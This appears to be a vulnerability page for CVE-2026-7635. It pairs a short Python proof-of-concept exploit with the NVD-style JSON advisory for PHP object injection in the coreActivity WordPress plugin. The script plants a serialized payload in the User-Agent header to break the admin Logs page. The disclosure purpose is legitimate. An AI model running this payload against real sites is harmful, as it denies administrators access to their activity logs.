CVE-2026-7635

import requests # Target URL (e.g., WordPress login or any page that logs activity) target_url = "http://example.com/wp-login.php" # Malicious serialized payload designed to trigger TypeError in DeviceDetector # This is a simple serialized object structure payload = "O:14:\"DeviceDetector\":0:{}" headers = { "User-Agent": payload } try: # Send request to trigger the logging of the malicious User-Agent response = requests.post(target_url, headers=headers) if response.status_code == 200: print("Payload sent successfully. If the admin views the logs, DoS will be triggered.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-7635", "sourceIdentifier": "[email protected]", "published": "2026-05-13T05:16:24.737", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The coreActivity: Activity Logging for WordPress plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.0. This is due to the plugin failing to validate or strip PHP serialization syntax from the User-Agent HTTP header before storing it in the logmeta table, and subsequently calling `maybe_unserialize()` on every retrieved `meta_value` in `query_metas()` without verifying the data was originally serialized by the application. This makes it possible for unauthenticated attackers to inject a crafted PHP serialized payload via the User-Agent header during any logged event (such as a failed login attempt), which, when an administrator views the Logs page, is deserialized and passed to `DeviceDetector::setUserAgent()`, triggering a Fatal TypeError that creates a persistent Denial of Service condition blocking administrator access to the Logs page entirely."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/dev4press/coreactivity/pull/3/changes/1f09331d66de7cf4bba9b6e396b0d4e7597fcde2", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/coreactivity/tags/3.0/core/log/Core.php#L252", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/coreactivity/tags/3.0/core/log/Device.php#L35", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/coreactivity/tags/3.0/core/table/Logs.php#L161", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/coreactivity/tags/3.0/vendor/dev4press/library/dev4press/core/plugins/DBLite.php#L268", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/coreactivity/tags/3.0/vendor/dev4press/library/dev4press/wordpress/admin/Table.php#L290", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/coreactivity/trunk/core/log/Core.php#L252", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/coreactivity/trunk/core/log/Device.php#L35", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/coreactivity/trunk/core/table/Logs.php#L161", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/coreactivity/trunk/vendor/dev4press/library/dev4press/core/plugins/DBLite.php#L268", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/coreactivity/trunk/vendor/dev4press/library/dev4press/wordpress/admin/Table.php#L290", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/59f30135-6dd9-4367-90a9-a10ad491357d?source=cve", "source": "[email protected]"}]}}